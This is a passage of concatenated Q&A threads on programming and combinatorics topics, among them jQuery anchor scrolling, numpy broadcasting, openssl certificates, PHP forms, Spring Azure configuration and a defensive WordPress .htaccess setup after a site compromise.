From now on $m$ is fixed and we have to choose $k$ (which is going to be dependent on $m$). Since $\frac{3k+1}{3^m}\rightarrow\infty $ as $k\rightarrow\infty$ there exists $k$ for which $\frac{3k+1}{3^m}>\alpha$, let $k_0$ be the minimal $k$ satisfying this condition.
It is left to show that the interval $\big(\frac{3k_0+1}{3^m},\frac{3k_0+2}{3^m}\big)$ lies in $(\alpha,\beta)$. We already know that $\alpha<\frac{3k_0+1}{3^m}$ hence it left to show that $\frac{3k_0+2}{3^m}<\beta$.
Suppose not, then $\frac{3k_0+2}{3^m}\geq\beta$, hence $\frac{3k_0-2}{3^m}+\frac{4}{3^m}\geq \beta$ we conclude that $\frac{3k_0}{3^m}\geq\beta-\frac{4}{3^m}$ From ($\star$) we have that $\frac{3(k_0-1)+1}{3^m}>\alpha$ which is a contradiction to the minimality of $k_0$. This completes the proof.
Comment: Yes exactly, every subset of the Natural numbers has a minimum.
Comment: Thank you! Been looking for this for a while. Also we are ensured of a minimal $k_0$ due to well-ordering principle of natural numbers, right?

Rudin's discussion on cantor set


How to jump to anchor BEFORE page loads completely?

Question: I have a very long page, with ~900 images in the grid view. Images are divided into categories, each category has an anchor. Right now, when I type:
www.domain.com/grid#1234
the link opens, but shows the top of the page, and then, after few seconds (time needed for page to load completely), it goes to the anchor #1234. I'd like to eliminate that time and go DIRECT to anchor location, before page loads completely.
Thank you for your help!
Comment: I'm not sure if this is possible, since the page loading won't pause to execute javascript unless there's a script tag after each image and isnerting 900 script tags to do the same thing is terrible design. What you could try though, is not load all 900 images directly, but just empty image tags and then load visible images After you jump to the correct anchor. But again, the reason why it takes so long is the amount of images. Look into techniques to decrease the load: placeholders, partials in lower res, lazy laoding only the visible ones, etc.
Comment: 900 images is a lot, have you tried placing image placeholders instead and loading actual images after you have a layout?
Comment: is possible, are you going to you se jquery? i can show you how
Answer: This is an interesting problem. I think you'll need to run your javascript before window.onload or jQuery document ready. Try putting javascript to parse the hash fragment from the url, and then scrolling to that anchor. Ensure the javascript is below the anchor you want to scroll to, but not at the bottom so it doesn't have to wait for all that. If it still isn't working, you might need some sort of "while page isn't loaded, scroll to this anchor tag" logic. I would test in all browsers for something like this.
Answer: I have done this with jQuery, so i created a function with some properties to set, also it has the feature to stop auto scrolling by default and launch it if a hashtag exist in url, also you can it execute manually.
The code is:
function autoScroll(name,animated,distance){
    var scrollDistance = distance;
    var scrollTarget = $("*[name='"+name+"']");

    if(animated){
        $('html, body').animate({scrollTop: (scrollTarget.offset().top - scrollDistance)}, 500);
    }
    else{
        $('html, body').scrollTop(scrollTarget.offset().top - scrollDistance);
    }
}

//Stop default hashtag scrolling
window.scrollTo(0, 0);

//Execute stuff when entire page is loaded
$(window).bind("load", function() {

    //Check if there is a hashtag in URL
    if(window.location.hash) {
        //Get hashtag in URL
        var getHash = window.location.hash.substring(1);
        //Do the scroll function to the desired section
        autoScroll(getHash,true,0);
    }

    //Do it manually
    //autoScroll("second",true,0);

});

This is the example (i cant put a hashtag in url using jsfiddle, so i uncommented the //Do it manually to test.
https://jsfiddle.net/w7kchg4d/2/
Comment: You could use a bool instead of a string `"yes"`. Update your code to `move(getHash,true,0);` and `if(animated)`. May dont use the `name`-Attribute, you could use the `selector`. I updated your [jsfiddle](https://jsfiddle.net/DomeTune/svtq0c9j/3/).
Comment: i know can be improved (is an old code i have made for this), but thank you! i already edited. About the selector, you are right, but the guy here is asking about anchor tags (the old way) is why i keep it with the "name" attribute
Comment: Thank you TriForce. One question - where should I put this code? In the header section? at the bottom?
Comment: it doesnt matter too much, it will be executed in the same way, because you are giving "when" call the functions in the code (on window.load). anyways, any script should be placed at the end of the document because the pages will load faster


Ruby Ohm, undefined method exception when trying create a model setting an array with ids

Question: I have tried to set an array with ids in a model attribute like is explained within https://github.com/soveran/ohm#models but I get an exception. What is wrong in my code?
Model
class Event < Ohm::Model

attribute :title
set :attendees, :User

end

Test
@fran = User.create(name: "Fran", email: 'email@example.com')
@jose = User.create(name: "Jose", email: 'email@example.com')

event = Event.create(title: 'Party in Las Vegas', attendees: [@fran.id,@jose.id])

NoMethodError: undefined method `attendees=' for #<Event:0x000000020fb430>
    /home/ciro/.rvm/gems/ruby-2.1.3/gems/ohm-2.0.1/lib/ohm.rb:1470:in `block in update_attributes'
    /home/ciro/.rvm/gems/ruby-2.1.3/gems/ohm-2.0.1/lib/ohm.rb:1470:in `each'
    /home/ciro/.rvm/gems/ruby-2.1.3/gems/ohm-2.0.1/lib/ohm.rb:1470:in `update_attributes'

Comment: you have a typo - once you write `attendes` and once `attendees`
Comment: Sorry it was a mistake in the "copy - paste". Now is fixed in the post. In the model I have "attendees" and in the test too. I have check it. Any idea?
Answer: You need to use the Set#add method for this to work and that method only takes 1 argument:
@fran = User.create(name: "Fran", email: 'firstname.lastname@example.com')
@jose = User.create(name: "Jose", email: 'email@example.com')

event = Event.create(title: 'Party in Las Vegas')
event.attendees.add(@fran)
event.attendees.add(@jose)

If these are meant to be associations then I'd look at collections


Faster matrix calculation in numpy

Question: Is there some faster variant of computing the following matrix (from this paper), given a nxn matrix M and a n-vector X:
?
I currently compute it as follows:
#M, X are given as numpy arrays
G = np.zeros((n,n))
for i in range(0,n):
    for j in range(i,n):
        xi = X[i]
        if i == j:
            G[i,j] = abs(xi)
        else:
            xi2 = xi*xi
            xj = X[j]
            xj2 = xj*xj
            mij = M[i,j]
            mid = (xi2 - xj2)/mij
            top =  mij*mij + mid*mid + 2*xi2 + 2*xj2
            G[i,j] = math.sqrt(top)/2

This is very slow, but I suspect there is a nicer "numpythonic" way of doing this instead of looping...
EDIT: While all answers work and are much faster than my naive implementation, I chose the one I benchmarked to be the fastest. Thanks!
Comment: What is the shape of X? is it a vector or a 2D array?
Comment: @Jalo X is a vector, M is a 2D array
Comment: Why didn't you use the formula for all `G[i, j]`? Seems like diagonal is simply assigned to X and lower triangle is not computed.
Comment: @swag2198 the formula is symmetric, so I just need the upper triangular part of the matrix
Comment: have you thought about numba or cython?
Comment: @Moritz yes, but I unfortunately can't use it in this setting. If I were free to use whatever I wanted, I would have done it in C++ anyways.. But the numpy version from the answers is fast enough!
Answer: Quite straightforward actually.
import math
import numpy as np

n = 5
M = np.random.rand(n, n)
X = np.random.rand(n)

Your code and result:
G = np.zeros((n,n))
for i in range(0,n):
    for j in range(i,n):
        xi = X[i]
        if i == j:
            G[i,j] = abs(xi)
        else:
            xi2 = xi*xi
            xj = X[j]
            xj2 = xj*xj
            mij = M[i,j]
            mid = (xi2 - xj2)/mij
            top =  mij*mij + mid*mid + 2*xi2 + 2*xj2
            G[i,j] = math.sqrt(top)/2

array([[0.77847813, 5.26334534, 0.8794082 , 0.7785694 , 0.95799072],
       [0.        , 0.15662266, 0.88085031, 0.47955479, 0.99219171],
       [0.        , 0.        , 0.87699707, 8.92340836, 1.50053712],
       [0.        , 0.        , 0.        , 0.45608367, 0.95902308],
       [0.        , 0.        , 0.        , 0.        , 0.95774452]])

Using broadcasting:
temp = M**2 + ((X[:, None]**2 - X[None, :]**2) / M)**2 + 2 * (X[:, None]**2) + 2 * (X[None, :]**2)
G = np.sqrt(temp) / 2

array([[0.8284724 , 5.26334534, 0.8794082 , 0.7785694 , 0.95799072],
       [0.89251217, 0.25682736, 0.88085031, 0.47955479, 0.99219171],
       [0.90047282, 1.10306597, 0.95176428, 8.92340836, 1.50053712],
       [0.85131766, 0.47379576, 0.87723514, 0.55013345, 0.95902308],
       [0.9879939 , 1.46462011, 0.99516443, 0.95774481, 1.02135642]])

Note that you did not use the formula directly for diagonal elements and only computed for upper triangular region of G. I simply implemented the formula to calculate all G[i, j].
Note: If diagonal elements of M don't matter and they contain some zeros, just add some offset to avoid the divide by zero error like:
M[np.arange(n), np.arange(n)] += 1e-5

# Do calculation to get G

# Assign diagonal to X
G[np.arange(n), np.arange(n)] = abs(X)

Comment: I added some note to my answer. You can offset the diagonal to do the same calculation, then assign the diagonal of `G` to `X` later if you wish so. This basically gives you the `if i == j` part of your original code.
Comment: This looks great, and much faster! But it gives an error if a value of M is zero, which is the case for me for some of the diagonals (that's why I used the if-else clause, sorry for not writing that in the question...)
Comment: Okay, so what is the rule if some `M[i, j]` is zero?
Comment: That is a good question; I believe it doesn't matter as these values will never be used. I just set them to zero in my current code, by using numpy's nan_to_num.
Answer: First, you function is not you equation. As this line
 mid = (xi2 - xj2)/mij

should be
 mid = (xi - xj)/mij

Second, I use numpy generate your equation.
Generate test data
test_m = np.array(
    [
        [1, 2, 3, 4, 5],
        [1, 2, 3, 4, 5],
        [1, 2, 3, 4, 5],
        [1, 2, 3, 4, 5],
        [1, 2, 3, 4, 5],
    ]
)
test_x = np.array([5, 6, 7, 8, 9])

build function
def solve(m, x):
    x_size = x.shape[0]
    x = x.reshape(1, -1)
    reshaped_x = x.reshape(-1, 1)
    result = np.sqrt(
        m ** 2
        + ((reshaped_x - x) / m) ** 2
        + 2 * np.repeat(reshaped_x, x_size, axis=1) ** 2
        + 2 * np.repeat(x, x_size, axis=0) ** 2
    ) / 2
    return result

run
print(solve(test_m, test_x))

In fact, the result part could be simpfy like this:
    result = np.sqrt(
        m ** 2
        + ((reshaped_x - x) / m) ** 2
        + 2 * reshaped_x ** 2
        + 2 * x ** 2
    ) / 2

Answer: Tested with googles colab:
import numba
import numpy as np
import math
# your implementation

def bench_1(n):
    #M, X are given as numpy arrays
    G = np.zeros((n,n))
    M = np.random.rand(n, n)
    X = np.random.rand(n)
    for i in range(0,n):
        for j in range(i,n):
            xi = X[i]
            if i == j:
                G[i,j] = abs(xi)
            else:
                xi2 = xi*xi
                xj = X[j]
                xj2 = xj*xj
                mij = M[i,j]
                mid = (xi2 - xj2)/mij
                top =  mij*mij + mid*mid + 2*xi2 + 2*xj2
                G[i,j] = math.sqrt(top)/2
    return G

  %%timeit
  n = 1000
  bench_1(n)

  1 loop, best of 3: 1.61 s per loop

Using Numba to compile the function:
@numba.jit(nopython=True, parallel=True)
def bench_2(n):
  #M, X are given as numpy arrays
  G = np.zeros((n,n))
  M = np.random.rand(n, n)
  X = np.random.rand(n)
  for i in range(0,n):
      for j in range(i,n):
          xi = X[i]
          if i == j:
              G[i,j] = abs(xi)
          else:
              xi2 = xi*xi
              xj = X[j]
              xj2 = xj*xj
              mij = M[i,j]
              mid = (xi2 - xj2)/mij
              top =  mij*mij + mid*mid + 2*xi2 + 2*xj2
              G[i,j] = math.sqrt(top)/2
  return G

%%timeit
n = 1000
bench_2(n)

The slowest run took 88.13 times longer than the fastest. This could mean that an intermediate result is being cached.
1 loop, best of 3: 9.8 ms per loop

Faster matrix calculation in numpy


How can I extract private and public keys from a .CER file?

Question: I have a .CER file on my machine. I would like to print private and public keys from it and store it in DB. How can I do that?
So far, after googling around, this is what I have tried and I am hitting following error.
openssl x509 -inform der -in apple_pay.cer -pubkey -noout > apple_pay.pem

openssl x509 -in apple_pay.pem -text
unable to load certificate
69889:error:0906D06C:PEM routines:PEM_read_bio:no start line:/BuildRoot/Library/Caches/com.apple.xbs/Sources/OpenSSL098/OpenSSL098-59.60.1/src/crypto/pem/pem_lib.c:648:Expecting: TRUSTED CERTIFICATE
KOPC02KW5T9F6T6:ApplePaySwag-Starter chandeln$

I also tried following commands from https://www.openssl.org/docs/manmaster/apps/pkey.html
KOPC02KW5T9F6T6:ApplePaySwag-Starter chandeln$ openssl pkey -in apple_pay.pem -text -noout
openssl:Error: 'pkey' is an invalid command.

Comment: Stack Overflow is a site for programming and development questions. This question appears to be off-topic because it is not about programming or development. See [What topics can I ask about here](http://stackoverflow.com/help/on-topic) in the Help Center. Perhaps [Super User](http://superuser.com/) or [Unix & Linux Stack Exchange](http://unix.stackexchange.com/) would be a better place to ask. Also see [Where do I post questions about Dev Ops?](http://meta.stackexchange.com/q/134306)
Answer: After executing openssl x509 -inform der -in apple_pay.cer -pubkey -noout > apple_pay.pem you have public key in apple_pay.pem
openssl x509 works with x509 certificates, so it unable to load public key from apple_pay.pem.
There are no way to extract private key from certificate or public key.
It is main idea of asymmetric cypher.


Permutation of 6 girls and 15 boys in a circle following a specific rule

Question: How many ways are there to arrange 6 girls and 15 boys in a circle such that there are at least 2 boys between any 2 adjacent girls?
Please help me how to proceed with this.
My approach:
Arrange first the girls in $5!$ ways, now we must choose $12$ boys from the $15$ in $15 \choose 12$ ways, and these boys will be arranged such that each girl has $2$ boys next to them in $12!$  Ways, then the remaining $3$ boys are left. We have already placed $18$ people, so we have $19$ position left for first boy, then $20$ position for 2nd boy and $21$ position for 3rd.
So I get it as,
$5!$$15 \choose 12$($12!$)($19*20*21$)
But this looks clumsy and I'm not sure if its correct.
I searched for similar circular permutation questions on this site, but it was mostly regarding equal number of boys and girls, and since this question is different I couldn't co relate. If question is repeated, apologies and kindly redirect me to such duplicate question, else please help me find the solution.
Thank you
Answer: First place some girl and let's say that her name is Alice.
Now place the other girls (indeed $5!$ possibilities).
The boys must be placed in an row/arrangement ($15!$ possibilities) in the understanding that the first will be placed at the right side of Alice, the second boy next to the first boy, et cetera.
To meet the condition that at least $2$ boys are present between $2$ adjacent girls we must find the number of sums: $$k_1+k_2+k_3+k_4+k_5+k_6=15$$ where every $k_i$ is an integer $\geq2$.
Setting $n_i:=k_i-2$ we find that this is the same as finding the number of sums:$$n_1+n_2+n_3+n_4+n_5+n_6=3$$ where every $n_i$ is a nonnegative integer.
Applying stars and bars we find $\binom{3+5}5=\binom85$ possibilities for that.
So we end up with a total of $$5!15!\binom85$$possibilities.
Comment: Thanks for such a lucid explanation, the stars and bars approach didn't strike for me..
Answer: HINT (in case this is homework)
First of all, your method over-counts.  E.g. if a segment is Amy - Bob - Charles - David - Emma, then you would have counted this $3$ times: once when you place B & C between A & E and then inserted D later, once when you place B & D between A & E and then inserted C later, and once when you place C & D between A & E and then inserted B later.  If a segment has $4$ boys you would have over-counted even more.  Unfortunately the "degree of over-counting" is not uniform so you cannot just divide by a factor.
It might be easier to count the case of indistinguishable girls and boys first.  Since there are only $3$ boys leftover after assigning $2$ per "gap", you can probably do this by hand.  You can also do this formally via stars and bars.  Then you can permute the girls $5!$ ways the boys $15!$ ways.
BTW, if you consider reflections to be equivalent (unclear for a circle), then you need to also divide by $2$ at the end.
Do you think you can finish from here?
Comment: Yes I understood why I'm over counting, it was an Institute written test question, I can do it from here. Thanks!


Problema para pegar valores do Input do tipo Hidden em PHP

Question: Primeiro, eu fiz dois formulários com um input do tipo hidden cada:
<form action="painel.php" method="POST">
    <input type="hidden" value="aluno" name = "auth">
    <input type="submit" value="Aluno">
</form>

<form action="painel.php" method="POST">
    <input type="hidden" value="adm" name = "auth">
    <input type="submit" value="Adm">
</form>

Depois, Eu tentei pegar o valor de um input hidden no início da página "painel.php":
<?php
    session_start();
    $auth = $_POST['auth'];
?>

Mas, aparece este problema:
Warning: Undefined array key "auth" in C:\xampp\htdocs\sites\trabalho\painel.php on line 3
O que eu faço?
Comment: Isso não interfere em nada no php, creio que seja alguma outra alteração que tenha feito no seu código. Faça o teste como estava anteriormente e posta aqui. Estou usando o php 7.3
Comment: Se tirar o `hidden`, ele envia certo?
Comment: A própria mensagem de erro está te dizendo o que fazer. Dá um echo '';
 print_r($_POST); ou  um var_dump($_POST); em painel.php e veja o que você está submetendo  no formulário.
Comment: ThRnk, eu não sei como fazer sem o Hidden, pois eu preciso dessa informação para verificar as informações do login no banco de dados, se for aluno ele verifica na tabela do aluno e se for adm ele verifica na tabela do adm.
Comment: Marcos Xavier, eu dei um echo e um print_r mas deu o mesmo problema.
Comment: E se você deixar junto o igual (=)? Que está assim `name = "auth"` para assim `name="auth"?`
Comment: Adventistaam, deu certo kkkkk

Não sei nem como
Comment: Obrigado a todos que tentaram me ajudar, tenham um bom dia.
Comment: @ThauanFernandesAraújo Que bom que deu certo
Comment: Uso o php 8.0.2, eu coloquei do jeito que estava antes e deu certo.

Não sei o que era
Comment: Cuidado com caches rsrs
Answer: Thauan,
$_POST['auth'] só passa a existir depois que você clicar pela primeira vez em um dos dois botões (envia o formulário). Na primeira vez que abrir a página ele não existe e dá o alerta.
Se você enviou o formulário uma vez e ficou apertando F5 para verificar as alterações no PHP, o navegador reenvia os dados do formulário e parece que resolveu.
Para evitar o alerta verifique se o parâmetro foi passado. Altere sua linha $auth = $_POST['auth'] para:

$auth = (isset($_POST['auth']) ? $_POST['auth'] : "nenhum");
ou: $auth = $_POST['auth'] ?? "nenhum";

Observação importante:
Se você está utilizando input hidden para definir a atribuição, você colocou toda a segurança na mão do usuário. Faça a verificação no lado do PHP com o próprio banco de dados informando o papel do usuário.


Sending email using javax?

Question: I want to send email using javax.mail. When I run the following code it give me this error No provider for hwangheera4hagarmaher. Where is the problem, and how can I fix this error ?
the code  i used is this:
public static boolean SendMail (String subject, String from, String Password, String Message, String to[])
{
    String Host = "firstname.lastname@example.com";

    Properties Property = System.getProperties();
    Property.put("mail.hwangheera4hagarmaher.starttls.enable", true);
    Property.put ("mail.hwangheera4hagarmaher.host", Host);
    Property.put ("mail.hwangheera4hagarmaher.user", from);
    Property.put ("mail.hwangheera4hagarmaher.password", Password);
    Property.put ("mail.hwangheera4hagarmaher.port", 587);
    Property.put ("mail.hwangheera4hagarmaher.auth", "true");

    Session session = Session.getDefaultInstance(Property, null);

    MimeMessage message = new MimeMessage (session);

    try
    {
        message.setFrom(new InternetAddress (from));

        InternetAddress [] toAddress = new InternetAddress[to.length];

        for (int i = 0; i < to.length; i++)
        {
            toAddress [i] = new InternetAddress (to[i]);
        }

        for (int i = 0; i < toAddress.length; i++)
        {
            message.addRecipient(RecipientType.TO, toAddress[i]);
        }

        message.setSubject (subject);
        message.setText(Message);

        Transport transport = session.getTransport("hwangheera4hagarmaher");
        transport.connect (Host, from, Password);
        transport.sendMessage(message, message.getAllRecipients());
        transport.close();

        return true;
    }
    catch (MessagingException ex)
    {
        showMessageDialog (null, ex);
    }
return false;
}

Answer: Replace hwangheera4hagarmaher with smtp in all props and getTransport () unless you have coded a provider by that name yourself.
Your hostname should be a server, not an email address. Maybe smtp.gmail.com?
By default Google provides security precaution for using any external access, especially If you use some email frameworks to access your account , first you need to give access, sign in your account then go to :
https://accounts.google.com/DisplayUnlockCaptcha
Then follow the rest to allow access to your account.
Comment: this error is gone now, but gmail prevented the code from sending the mail :/

Sending email using javax?


How to create a custom display mode for user in D8?

Question: I've created an edito custom content type wich can be linked to a user. I'd like to custom the display with the picture and the name of the user in a view. I don't know how to create a custom display mode for an user.
Any help ?²
Answer: You need to create the view mode at Admin > Structure > Display Modes, then configure the new display mode at <code>/admin/config/people/accounts/display</code>.


How to create a bean of AADAuthenticationProperties (azure)?

Question: I cannot create a bean of AADAuthenticationProperties, and the reason sais that the property activeDirectoryGroups cannot be empty.
The error is the following:
Binding to target org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'azure.activedirectory' to com.microsoft.azure.spring.autoconfigure.aad.AADAuthenticationProperties failed:
Property: azure.activedirectory.activeDirectoryGroups
Value: null
Reason: no puede estar vacío

This is the two ways a tried:
    //1st option
    @Bean
    @ConditionalOnMissingBean
    public AADAuthenticationProperties aadAuthenticationPropertiesFactory() {
        return new AADAuthenticationProperties();
    }

    //2nd option
    @Bean
    @ConditionalOnMissingBean
    public AADAuthenticationProperties aadAuthenticationPropertiesFactory() {
        AADAuthenticationProperties aadAuthenticationProperties = new AADAuthenticationProperties();
        aadAuthenticationProperties.setactiveDirectoryGroups(new ArrayList<>());
        return aadAuthenticationProperties;
}

But the error remains the same, so any idea about what is the activeDirectoryGroups property and how can I create a bean of AADAuthenticationProperties? I am using Java 8.
Thank you so much!
Comment: Delete the beans and just specify the properties in your `application.properties`. Those beans will be generated by the azure auto configuration. Your definition interferes with that.
Answer: Just like @M.Deinum said in the comment, you just need to specify the properties in your application.properties. The bean will be generated by the azure auto configuration. Refer to this document for more details.
azure.activedirectory.active-directory-groups=group1, group2


(CGAL) Obtain the bounding cube generated by AABB tree to make collision detection

Question: I want to know if two polyhedra are intersecting, for that I made an AABB Tree of both of them with CGAL::AABB_tree which generates the bounding cubes, with this AABB Tree I want to check the intersection with:
CGAL::box_intersection_d (RandomAccessIterator1 begin1, RandomAccessIterator1 end1, RandomAccessIterator2 begin2, RandomAccessIterator2 end2, Callback callback, ...)
But I don't know how to obtain RandomAccessIterator1 begin1, RandomAccessIterator1 end1, RandomAccessIterator2 begin2, RandomAccessIterator2 end2 from the tree, can anyone help me?
<code>#include <CGAL/Simple_cartesian.h>
#include <CGAL/Polyhedron_3.h>
#include <CGAL/IO/Polyhedron_iostream.h>
#include <iostream>
#include <fstream>
#include <algorithm>
#include <CGAL/AABB_tree.h>
#include <CGAL/AABB_traits.h>
#include <CGAL/AABB_face_graph_triangle_primitive.h>
#include <CGAL/box_intersection_d.h>
#include <CGAL/Bbox_2.h>

typedef CGAL::Simple_cartesian<double> K;
typedef K::Point_3 Point;
typedef CGAL::Polyhedron_3<K> Polyhedron;
typedef CGAL::AABB_face_graph_triangle_primitive<Polyhedron> Primitive;
typedef CGAL::AABB_traits<K, Primitive> Traits;
typedef CGAL::AABB_tree<Traits> Tree;
typedef Tree::Primitive_id Primitive_id;
typedef CGAL::Box_intersection_d::Box_d<double,2> Box;
typedef CGAL::Bbox_3                              Bbox;

int main(int argc, char* argv[]) {

Point p(1.0, 0.0, 0.0);
Point q(0.0, 1.0, 0.0);
Point r(0.0, 0.0, 1.0);
Point s(0.0, 0.0, 0.0);
Polyhedron polyhedron;
polyhedron.make_tetrahedron(p, q, r, s);

Polyhedron P;
std::ifstream in1((argc>1)?
argv[1]:"/home/domus/Programming_Projects/Cpp_projects/cube_1.off");
in1 >> P;

Tree P_tree(faces(P).first, faces(P).second, P);
std::cout << P_tree.size() << std::endl;

Tree tree(faces(polyhedron).first, faces(polyhedron).second, polyhedron);
std::cout << tree.size() << std::endl;

return 0;
}
</code>
Comment: [This link](http://cgal-discuss.949826.n4.nabble.com/Is-it-possible-to-intersect-polyhedrons-with-AABB-tree-td4661361.html) mentiones a function which does what you want. I couldn't find that function. Perhaps you might find and show us how to do it.
Answer: You can use the following CGAL::Polygon_mesh_processing::do_intersect() function.
If you can work with the master branch of CGAL you can even use the newly introduced function for collision detection:
See the current doc page.


How to host a git on server for websites

Question: I've been taking a class this semester where students make a few design projects. I take this class annually and would like to start saving student outputs for posterity. Currently students make a web portfolio externally which often die down in a year or so. I want to have a git repository where students can check in their web portoflios, and the same server is also able to host the files online.
I have an Amazon AWS Educational Account and I have been looking into putting an Ubuntu server with git on it, but I don't really understand the server infrastructure or things required to get this done. Can someone help with a link or a few steps that I could google through to find my way.
TL;DR: Need to host a git server where students check in their websites and the same server becomes their url somehow.
Thanks a lot in advance!
Answer: If this is your first infrastructure project, especially if it is public facing, get the help of an experienced system administrator. This will help ensure the project stays secure, stable, and cost effective.

Deploy an integrated source control system that has a static pages feature, like  GitLab Pages or GitHub Pages.  You can publish to their hosting services fairly easily, or hook in other scripts to host yourself.
Dynamic content gets trickier, you would need to maintain a fancier web server configuration and databases.
Git may not be the right system for a portfolio of design projects, you might want a content management system. Choose what fits your requirements.
Answer: Are the web portfolios all static content? If so Github Pages is a free static site hosting service that comes with every Github user/organization. It sounds like exactly what you're looking for with zero hosting costs or administrative overhead.
Comment: While github pages is the functionality I'm looking for, I want to keep it on our own platform for us to look at projects year after year and maintain an internal repository. Consider it a sort of thing where I have our own sort of annual repository where students can check in projects and use the school server url of their website after checkin. Any leads on how to make this work, especially with AWS (since we have school ties) would be really helpful. Thanks!


In how many ways can a class of eight students be divided into four groups each having two students?

Question: Suppose there are eight students in a class. We have to divide them into four groups each having two students. The question is, in how many ways can it be done?
The answer is: $$\frac{8C2 \cdot 6C2 \cdot 4C2 \cdot 2C2}{4!}$$
I have a small confusion. Why do we need to divide by 4!?
Comment: We would need to divide by the $4!$ at the end to account for the fact that we can't tell the groups apart.  (12)(34)(56)(78) is the same "grouping" to me as (34)(12)(65)(87).  Not only is order within each group irrelevant, but also the order in which the groups themselves are presented irrelevant.  If we had a group1, a group2, etc... where we can actually distinguish between different groups, we would not need to divide by the $4!$.
Answer: A method to count this without needing to rely on dividing for symmetry:
Take your eight students and arrange them in some standard fashion.  For the purpose of illustration, I will choose to do this by height, but other methods of ordering will work as well.

Take the shortest person in the group.  (there is no choice to be made here, it is predetermined).
Pick a person not yet taken to be made the shortest person's group partner.  (Seven choices available)
From those six people remaining, take the shortest remaining person in the group.  (again, there is no choice to be made here, it is predetermined based on previous choices)
Pick a person still remaining to be made this person's group partner.  (Five choices available)
$\vdots$  Repeat the process, taking the current shortest person from those remaining and then picking a partner for them.

Applying multiplication principle, there are $1\cdot 7\cdot 1\cdot 5\cdot 1\cdot 3\cdot 1\cdot 1 = 7\cdot 5\cdot 3 = 7!! = 105$ (here $7!!$ is double factorial notation)
Note that this is equal to $\binom{8}{2}\binom{6}{2}\binom{4}{2}\binom{2}{2}\frac{1}{4!}=\binom{8}{2,2,2,2}\frac{1}{4!}=\frac{8!}{(2!)^44!} = 105$

Explaining the way the answer was written and how to view it that way,
Temporarily assign group names: group1, group2, group3, group4.
Arrange the eight people into these groups with 2 each in $\binom{8}{2,2,2,2}$ ways.  (to see this, pick two to go to group1, then pick two remaining to go to group 2, etc... for a total of $\binom{8}{2}\binom{6}{2}\binom{4}{2}\binom{2}{2}$ ways)
Now, recognize that we have counted every scenario exactly $4!$ times each since each rearrangement of the group names yields the "same" outcome.  Dividing by $4!$ corrects our count, making the total:
$\binom{8}{2,2,2,2}\frac{1}{4!}=105$


Como pegar valores apenas dos checkbox que estiverem checkados e os que não estiveram marcados não retornar nada?

Question: Código HTML

Indicar Imóvel

Preencha a indicação!

          <fieldset class="fieldSetCliente">
            <legend class="tipoFormCLiente">Tipo de Cliente</legend>

                  <input type="checkbox" id="tipoClienteCompra" name="tipoClienteCompra" value="Comprar">
                  Comprar Imóvel

                  <input type="checkbox" id="tipoClienteLocacao" name="tipoClienteLocacao" value="Locação">
                  Alugar Imóvel

              <legend class="dadosFormCliente">Dados do Cliente</legend>

                  Nome do Cliente*
                  <input type="text" name="nomeCliente" id="nomeCliente" value="" class="form-control" placeholder="Digite o nome do cliente...">

                  Informações adicionais (opcional)
                  <input type="text" name="infoAdicionalCliente" id="infoAdicionalCliente" value="" class="form-control" placeholder="Digite algumas Informações adicionais se necessário...">

Foi realizado alguma parceria de indicação com algum de nossos capitadores?

                  <input type="checkbox" id="parCapitadorSim" name="parCapitadorSim" value="y">
                  Sim

                  <input type="checkbox" id="parCapitadorNao" name="parCapitadorNao" value="n">
                  Não

                  Nome Capitador:
                  <input type="text" id="txtNameParCapitador" name="txtNameParCapitador" disabled="true" />

          </fieldset>
          <button class="btnIndicaCliente" id="btnIndicaCliente" href="#" onclick="cadIndCliente('IndicaCliente');">CADASTRAR CLIENTE</button>

Código Javascript
// Função formulário de cadastro de indicação de Cliente
function cadIndCliente(btnPropToggler) {
  // Variáveis criadas para receber as informações dos inputs do formulário de cadastro do Cliente
  var tipoClienteCompra = document.getElementById("tipoClienteCompra");
  var tipoClienteLocacao = document.getElementById("tipoClienteLocacao");
  var parCapitadorSim = document.getElementById("parCapitadorSim");
  var parCapitadorNao = document.getElementById("parCapitadorNao");

  // Armazena todas as variáveis em uma única variável
  var dados = {

    'tipoClienteCompra': tipoClienteCompra.value,
    'tipoClienteLocacao': tipoClienteLocacao.value,
    'parCapitadorSim': parCapitadorSim.value,
    'parCapitadorSim': parCapitadorSim

  }

  // Converte valores em javascript para uma String JSON
  var dadosFormCliente = JSON.stringify(dados);
  console.log(dadosFormCliente);

//...

No caso o console.log(dadosFormCliente); está me retornando o valor dos campos que também não estão marcados e preciso que ele traga apenas a informações do checkbox que for marcado no formulário.
Answer: você deve fazer algumas mudanças no seu códigos

Substitua chackbox por radioButton, visto que só um campo deve esta marcado;
utilize o mesmo name para os inputs equivalentes tipoCliente e parCapitador
substitua o getElementById por querySelector, onde você pode filtrar pelo name e checked

segue trechos modificados:
<input type="radio" id="tipoClienteCompra" name="tipoCliente" value="Comprar">
<input type="radio" id="tipoClienteLocacao" name="tipoCliente" checked value="Locação">
<input type="radio" id="parCapitadorSim" name="parCapitador" value="y">
<input type="radio" id="parCapitadorNao" name="parCapitador" checked value="n">

var tipoCliente = document.querySelector('input[name="tipoCliente"]:checked');
var parCapitador = document.querySelector('input[name="parCapitador"]:checked');
// Armazena todas as variáveis em uma única variável
var dados = {
  'tipoCliente': tipoCliente.value,
  'parCapitador': parCapitador.value
}
// Converte valores em javascript para uma String JSON
var dadosFormCliente = JSON.stringify(dados);
console.log(dadosFormCliente);

// {"tipoCliente":"Locação","parCapitador":"n"}


Is there a memcached memory limit best practice?

Question: Is there a best practice or general rule of thumb when setting the memory limit for memcached?
I'm currently running memcached with the default memory limit of 64 megabytes. The server has 8 gigabytes of memory installed out of which only around 512 megabytes of memory are available.
Thank you.
Answer: 8g and .5 available sounds fishy.  If nothing else significant is running then you should be able to run at 6-7G pretty easily.  I suspect you are looking at 'free' memory which doesn't account for linux disk caching and such.
Comment: Thanks. I found that MySQL was using 7GB unnecessarily. I reduced memory used by MySQL to 3GB, and I doubled memcache memory usage from 64MB to 128MB.


Malicious script changing .htaccess files on server

Question:
Possible Duplicate:
My server's been hacked EMERGENCY

There seems to be a malicious script accessing my server and editing the .htaccess files for all of my hosted sites to redirect towards spam links.
What is the best way to stop this from happening?
I have changed my server access details, both for the control panel and the FTP access and tried updating the existing .htaccess files with the following code but it still appears to be changing.
# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress

# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>

# Protect the htaccess file
<files .htaccess>
